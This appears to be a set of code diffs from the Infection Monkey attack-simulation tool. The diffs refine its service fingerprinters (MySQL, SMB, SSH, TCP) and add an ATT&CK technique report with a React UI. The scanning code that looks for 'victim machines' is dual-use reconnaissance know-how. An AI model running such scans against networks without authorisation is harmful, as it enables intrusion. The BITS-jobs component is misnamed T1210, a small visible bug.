host.services[self.SERVICE_NAME][instance_info[1]] = {} host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2): for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances # Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name # each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket # Close the socket
sock.close() sock.close()

View File

@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
MYSQL_PORT = 3306 MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306' SQL_SERVICE = 'mysqld-3306'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -16,7 +15,7 @@ class MySQLFinger(HostFinger):
""" """
Fingerprints mysql databases, only on port 3306 Fingerprints mysql databases, only on port 3306
""" """
_SCANNED_SERVICE = 'MySQL'
SOCKET_TIMEOUT = 0.5 SOCKET_TIMEOUT = 0.5
HEADER_SIZE = 4 # in bytes HEADER_SIZE = 4 # in bytes
@ -52,14 +51,13 @@ class MySQLFinger(HostFinger):
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
version = version[0] version = version[0]
host.services[SQL_SERVICE] = {} self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
host.services[SQL_SERVICE]['version'] = version host.services[SQL_SERVICE]['version'] = version
version = version.split('-')[0].split('.') version = version.split('-')[0].split('.')
host.services[SQL_SERVICE]['major_version'] = version[0] host.services[SQL_SERVICE]['major_version'] = version[0]
host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['minor_version'] = version[1]
host.services[SQL_SERVICE]['build_version'] = version[2] host.services[SQL_SERVICE]['build_version'] = version[2]
thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id
# protocol parsing taken from # protocol parsing taken from
# https://nmap.org/nsedoc/scripts/mysql-info.html # https://nmap.org/nsedoc/scripts/mysql-info.html
if protocol == 10: if protocol == 10:

View File

@ -1,11 +1,9 @@
import logging
import time import time
from common.network.network_range import * from common.network.network_range import *
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner
from infection_monkey.network import TcpScanner, PingScanner from infection_monkey.network import TcpScanner, PingScanner
__author__ = 'itamar' __author__ = 'itamar'
@ -66,7 +64,6 @@ class NetworkScanner(object):
def get_victim_machines(self, max_find=5, stop_callback=None): def get_victim_machines(self, max_find=5, stop_callback=None):
""" """
Finds machines according to the ranges specified in the object Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
:param max_find: Max number of victims to find regardless of ranges :param max_find: Max number of victims to find regardless of ranges
:param stop_callback: A callback to check at any point if we should stop scanning :param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances :return: yields a sequence of VictimHost instances

View File

@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger): class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = ''
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w") self._devnull = open(os.devnull, "w")

View File

@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger): class SMBFinger(HostFinger):
_SCANNED_SERVICE = 'SMB'
def __init__(self): def __init__(self):
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
self._config = WormConfiguration self._config = WormConfiguration
@ -112,7 +114,7 @@ class SMBFinger(HostFinger):
s.settimeout(0.7) s.settimeout(0.7)
s.connect((host.ip_addr, SMB_PORT)) s.connect((host.ip_addr, SMB_PORT))
host.services[SMB_SERVICE] = {} self.init_service(host.services, SMB_SERVICE, SMB_PORT)
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8") h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
n = SMBNego(data=SMBNegoFingerData()) n = SMBNego(data=SMBNegoFingerData())
@ -150,7 +152,6 @@ class SMBFinger(HostFinger):
host.os['version'] = os_version host.os['version'] = os_version
else: else:
host.services[SMB_SERVICE]['os-version'] = os_version host.services[SMB_SERVICE]['os-version'] = os_version
return True return True
except Exception as exc: except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc) LOG.debug("Error getting smb fingerprint: %s", exc)

View File

@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger): class SSHFinger(HostFinger):
_SCANNED_SERVICE = 'SSH'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@ -38,12 +40,13 @@ class SSHFinger(HostFinger):
banner = data.get('banner', '') banner = data.get('banner', '')
if self._banner_regex.search(banner): if self._banner_regex.search(banner):
self._banner_match(name, host, banner) self._banner_match(name, host, banner)
host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
return return
is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True) is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)
if is_open: if is_open:
host.services[SSH_SERVICE_DEFAULT] = {} self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)
if banner: if banner:
host.services[SSH_SERVICE_DEFAULT]['banner'] = banner host.services[SSH_SERVICE_DEFAULT]['banner'] = banner

View File

@ -11,6 +11,9 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger): class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger):
self._config.tcp_scan_get_banner) self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None): for target_port, banner in izip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port) service = tcp_port_to_service(target_port)
host.services[service] = {} self.init_service(host.services, service, target_port)
if banner: if banner:
host.services[service]['banner'] = banner host.services[service]['banner'] = banner
if only_one_port: if only_one_port:

View File

@ -2,7 +2,7 @@ import os
import sys import sys
import shutil import shutil
import struct import struct
import datetime
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration

View File

@ -33,7 +33,8 @@ from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
__author__ = 'Barak' __author__ = 'Barak'
@ -131,6 +132,7 @@ def init_api_resources(api):
'/api/fileUpload/<string:file_type>?restore=<string:filename>') '/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,13 @@
import flask_restful
from flask import jsonify
from cc.auth import jwt_required
from cc.services.attack.attack_report import AttackReportService
__author__ = "VakarisZ"
class AttackReport(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(AttackReportService.get_latest_report()['techniques'])

View File

@ -8,6 +8,7 @@ from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService from monkey_island.cc.services.report import ReportService
from cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database from monkey_island.cc.services.database import Database
@ -58,5 +59,7 @@ class Root(flask_restful.Resource):
else: else:
if is_any_exists: if is_any_exists:
ReportService.get_report() ReportService.get_report()
AttackReportService.get_latest_report()
report_done = ReportService.is_report_generated() report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done,
report_done=report_done)

View File

@ -18,6 +18,20 @@ class AttackConfig(object):
config = mongo.db.attack.find_one({'name': 'newconfig'}) config = mongo.db.attack.find_one({'name': 'newconfig'})
return config return config
@staticmethod
def get_technique(technique_id):
"""
Gets technique by id
:param technique_id: E.g. T1210
:return: Technique object or None if technique is not found
"""
attack_config = AttackConfig.get_config()
for key, attack_type in attack_config['properties'].items():
for key, technique in attack_type['properties'].items():
if key == technique_id:
return technique
return None
@staticmethod @staticmethod
def get_config_schema(): def get_config_schema():
return SCHEMA return SCHEMA

View File

@ -0,0 +1,66 @@
import logging
from monkey_island.cc.services.attack.technique_reports import T1210, T1197
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197}
REPORT_NAME = 'new_report'
class AttackReportService:
def __init__(self):
pass
@staticmethod
def generate_new_report():
"""
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME}
for tech_id, value in AttackConfig.get_technique_values().items():
if value:
try:
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
except KeyError as e:
LOG.error("Attack technique does not have it's report component added "
"to attack report service. %s" % e)
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
return report
@staticmethod
def get_latest_attack_telem_time():
"""
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_type': 'attack'}).sort('timestamp', -1).limit(1)][0]
@staticmethod
def get_latest_report():
"""
Gets latest report (by retrieving it from db or generating a new one).
:return: report dict.
"""
if AttackReportService.is_report_generated():
telem_time = AttackReportService.get_latest_attack_telem_time()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']:
return latest_report
return AttackReportService.generate_new_report()
@staticmethod
def is_report_generated():
"""
Checks if report is generated
:return: True if report exists, False otherwise
"""
generated_report = mongo.db.attack_report.find_one({})
return generated_report is not None

View File

@ -75,7 +75,7 @@ SCHEMA = {
"type": "object", "type": "object",
"properties": { "properties": {
"T1197": { "T1197": {
"title": "T1197 Bits jobs", "title": "T1197 BITS jobs",
"type": "bool", "type": "bool",
"value": True, "value": True,
"necessary": True, "necessary": True,

View File

@ -0,0 +1,25 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
__author__ = "VakarisZ"
class T1197(AttackTechnique):
tech_id = "T1197"
unscanned_msg = "Monkey didn't try to use any bits jobs."
scanned_msg = "Monkey tried to use bits jobs but failed."
used_msg = "Monkey successfully used bits jobs at least once in the network."
@staticmethod
def get_report_data():
data = T1197.get_tech_base_data(T1197)
bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}},
{'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'},
'ip_addr': {'$first': '$machine.ip_addr'},
'domain_name': {'$first': '$machine.domain_name'},
'usage': {'$first': '$usage'},
'time': {'$first': '$time'}}
}])
bits_results = list(bits_results)
data.update({'bits_jobs': bits_results})
return data

View File

@ -0,0 +1,54 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
TECHNIQUE = "T1210"
MESSAGES = {
'unscanned': "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?",
'scanned': "Monkey scanned for remote services on the network, but couldn't exploit any of them.",
'used': "Monkey scanned for remote services and exploited some on the network."
}
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
used_msg = "Monkey scanned for remote services and exploited some on the network."
@staticmethod
def get_report_data():
data = {'title': T1210.technique_title(TECHNIQUE)}
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
elif scanned_services:
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
else:
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'scan'}},
{'$sort': {'data.service_count': -1}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)
@staticmethod
def get_exploited_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'exploit', 'data.result': True}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'service': {'$first': '$data.info'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)

View File

@ -0,0 +1,88 @@
import abc
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
class AttackTechnique(object):
""" Abstract class for ATT&CK report components """
__metaclass__ = abc.ABCMeta
@abc.abstractproperty
def unscanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was not scanned.
"""
pass
@abc.abstractproperty
def scanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was scanned.
"""
pass
@abc.abstractproperty
def used_msg(self):
"""
:return: Message that will be displayed in case attack technique was used by the scanner.
"""
pass
@abc.abstractproperty
def tech_id(self):
"""
:return: Message that will be displayed in case of attack technique not being scanned.
"""
pass
@staticmethod
@abstractstatic
def get_report_data():
"""
:return: Report data aggregated from the database.
"""
pass
@staticmethod
def technique_status(technique):
"""
Gets the status of a certain attack technique.
:param technique: technique's id.
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@staticmethod
def technique_title(technique):
"""
:param technique: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
return AttackConfig.get_technique(technique)['title']
@staticmethod
def get_tech_base_data(technique):
"""
Gathers basic attack technique data into a dict.
:param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
status = AttackTechnique.technique_status(technique.tech_id)
title = AttackTechnique.technique_title(technique.tech_id)
data.update({'status': status.name, 'title': title})
if status == ScanStatus.UNSCANNED:
data.update({'message': technique.unscanned_msg})
elif status == ScanStatus.SCANNED:
data.update({'message': technique.scanned_msg})
else:
data.update({'message': technique.used_msg})
return data

File diff suppressed because it is too large Load Diff

View File

@ -64,6 +64,8 @@
"webpack-dev-server": "^3.1.9" "webpack-dev-server": "^3.1.9"
}, },
"dependencies": { "dependencies": {
"@kunukn/react-collapse": "^1.0.5",
"classnames": "^2.2.6",
"bootstrap": "3.4.1", "bootstrap": "3.4.1",
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",

View File

@ -0,0 +1,57 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
id: 'machine', accessor: x => T1210.renderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
id: 'time', accessor: x => x.time,
style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Usage',
id: 'usage', accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}
]
}
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){
return (<div />)
} else {
return (<ReactTable
columns={this.columns}
data={this.props.data.bits_jobs}
showPagination={false}
defaultPageSize={this.props.data.bits_jobs.length}
/>)
}
}
render() {
return (
<div className="data-table-container">
<div>
<div>{this.props.data.message}</div>
{this.props.data.bits_jobs.length > 0 ? <div>BITS jobs were used in these machines: </div> : ''}
</div>
<br/>
{this.renderExploitedMachines()}
</div>
);
}
}
export default T1210;

View File

@ -0,0 +1,100 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
}
static getScanColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])}
static getExploitColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
static renderEndpoint(val){
return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
)
};
static formatScanned(data){
let result = [];
for(let service in data.machine.services){
let scanned_service = {'machine': data.machine,
'time': data.time,
'service': {'port': [data.machine.services[service].port],
'display_name': data.machine.services[service].display_name}};
result.push(scanned_service)
}
return result
};
renderScannedServices(data) {
return (
<div>
<br/>
<div>Found services: </div>
<ReactTable
columns={T1210.getScanColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
renderExploitedServices(data) {
return (
<div>
<br/>
<div>Exploited services: </div>
<ReactTable
columns={T1210.getExploitColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
render() {
let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat();
return (
<div>
<div>{this.props.data.message}</div>
{scanned_services.length > 0 ?
this.renderScannedServices(scanned_services) : ''}
{this.props.data.exploited_services.length > 0 ?
this.renderExploitedServices(this.props.data.exploited_services) : ''}
</div>
);
}
}
export default T1210;

View File

@ -11,6 +11,7 @@ import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import StrongUsers from "components/report-components/StrongUsers"; import StrongUsers from "components/report-components/StrongUsers";
import AttackReport from "components/report-components/AttackReport";
let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg'); let monkeyLogoImage = require('../../images/monkey-icon.svg');
@ -141,6 +142,7 @@ class ReportPageComponent extends AuthComponent {
{this.generateReportFindingsSection()} {this.generateReportFindingsSection()}
{this.generateReportRecommendationsSection()} {this.generateReportRecommendationsSection()}
{this.generateReportGlanceSection()} {this.generateReportGlanceSection()}
{this.generateAttackSection()}
{this.generateReportFooter()} {this.generateReportFooter()}
</div> </div>
<div className="text-center no-print" style={{marginTop: '20px'}}> <div className="text-center no-print" style={{marginTop: '20px'}}>
@ -509,6 +511,21 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateAttackSection() {
return (<div id="attack">
<h3>
ATT&CK report
</h3>
<p>
This report shows information about ATT&CK techniques used by Infection Monkey.
</p>
<div>
<AttackReport/>
</div>
<br />
</div>)
}
generateReportFooter() { generateReportFooter() {
return ( return (
<div id="footer" className="text-center" style={{marginTop: '20px'}}> <div id="footer" className="text-center" style={{marginTop: '20px'}}>

View File

@ -0,0 +1,157 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197';
import '../../styles/Collapse.scss'
const tech_components = {
'T1210': T1210,
'T1197': T1197
};
const classNames = require('classnames');
class AttackReportPageComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
report: false,
allMonkeysAreDead: false,
runStarted: true,
collapseOpen: ''
};
}
componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
}
updateMonkeysRunning = () => {
return this.authFetch('/api')
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
this.setState({
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
runStarted: res['completed_steps']['run_monkey']
});
return res;
});
};
getReportFromServer(res) {
if (res['completed_steps']['run_monkey']) {
this.authFetch('/api/attack/report')
.then(res => res.json())
.then(res => {
this.setState({
report: res
});
});
}
}
onToggle = technique =>
this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
getComponentClass(tech_id){
switch (this.state.report[tech_id].status) {
case 'SCANNED':
return 'collapse-info';
case 'USED':
return 'collapse-danger';
default:
return 'collapse-default';
}
}
getTechniqueCollapse(tech_id){
return (
<div key={tech_id} className={classNames("collapse-item", { "item--active": this.state.collapseOpen === tech_id })}>
<button className={classNames("btn-collapse", this.getComponentClass(tech_id))} onClick={() => this.onToggle(tech_id)}>
<span>{this.state.report[tech_id].title}</span>
<span>
<i className={classNames("fa", this.state.collapseOpen === tech_id ? "fa-chevron-down" : "fa-chevron-up")}></i>
</span>
</button>
<Collapse
className="collapse-comp"
isOpen={this.state.collapseOpen === tech_id}
onChange={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
onInit={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
</div>
);
}
createTechniqueContent(collapseState, technique) {
const TechniqueComponent = tech_components[technique];
return (
<div className={`content ${collapseState}`}>
<TechniqueComponent data={this.state.report[technique]} />
</div>
);
}
renderLegend() {
return( <div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle icon-default"></i>
<span> - Unscanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-info"></i>
<span> - Scanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-danger"></i>
<span> - Used</span>
</Col>
</div>)
}
generateReportContent(){
let content = [];
Object.keys(this.state.report).forEach((tech_id) => {
content.push(this.getTechniqueCollapse(tech_id))
});
return (
<div>
{this.renderLegend()}
<section className="app">{content}</section>
</div>
)
}
render() {
let content;
if (! this.state.runStarted)
{
content =
<p className="alert alert-warning">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
You have to run a monkey before generating a report!
</p>;
} else if (this.state.report === false){
content = (<h1>Generating Report...</h1>);
} else if (Object.keys(this.state.report).length === 0) {
if (this.state.runStarted) {
content = (<h1>No techniques were scanned</h1>);
}
} else {
content = this.generateReportContent();
}
return ( <div> {content} </div> );
}
}
export default AttackReportPageComponent;

View File

@ -520,11 +520,27 @@ body {
} }
/* Attack config page */ /* Attack pages */
.attack-matrix .messages { .attack-matrix .messages {
margin-bottom: 30px; margin-bottom: 30px;
} }
.icon-info {
color: #ade3eb !important;
}
.icon-warning {
color: #f0ad4e !important;
}
.icon-danger {
color: #d9acac !important;
}
.icon-default {
color: #e0ddde !important;
}
.attack-legend { .attack-legend {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
@ -539,3 +555,9 @@ body {
margin-left: auto; margin-left: auto;
margin-right: auto; margin-right: auto;
} }
.attack-report.footer-text{
text-align: right;
font-size: 0.8em;
margin-top: 20px;
}

View File

@ -0,0 +1,96 @@
$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5);
$danger-color: #d9acac;
$info-color: #ade3eb;
$default-color: #e0ddde;
.collapse-item button {
font-size: inherit;
margin: 0;
padding: 1rem;
background: transparent;
border: 1px solid #ccc;
box-shadow: none;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
.collapse-item button span:first-child{
text-align:left;
}
.collapse-item button {
width: 100%;
box-shadow: 0 2px 6px #ccc;
border: none;
transition: background-color $transition;
display: flex;
font-family: inherit;
> span {
display: inline-block;
flex: 4;
text-align: right;
&:nth-child(2) {
flex: 3;
}
}
}
.collapse-danger {
background-color: $danger-color !important;
}
.collapse-info {
background-color: $info-color !important;
}
.collapse-default {
background-color: $default-color !important;
}
.collapse-item {
padding: 0.5rem;
&--active {
.btn-collapse {
background-color: #f7f7f7;
}
}
}
.collapse-item .collapse-comp {
padding: 0 7px 7px 7px;
border: 2px solid rgb(232, 228, 228);
border-top: 0;
display:block !important;
transition: height $transition;
overflow: hidden;
}
.collapse-item .content {
padding: 2rem 0;
transition: transform $transition;
will-change: transform;
$offset: 10px;
&.collapsing {
transform: translateY(-$offset);
}
&.collapse-comp {
transform: translateY(-$offset);
}
&.expanding {
transform: translateX(0px);
}
&.expanded {
transform: translateX(0px);
}
}
.collapse-item .text {
margin-bottom: 1rem;
}
.collapse-item .state {
display: inline-block;
min-width: 6em;
}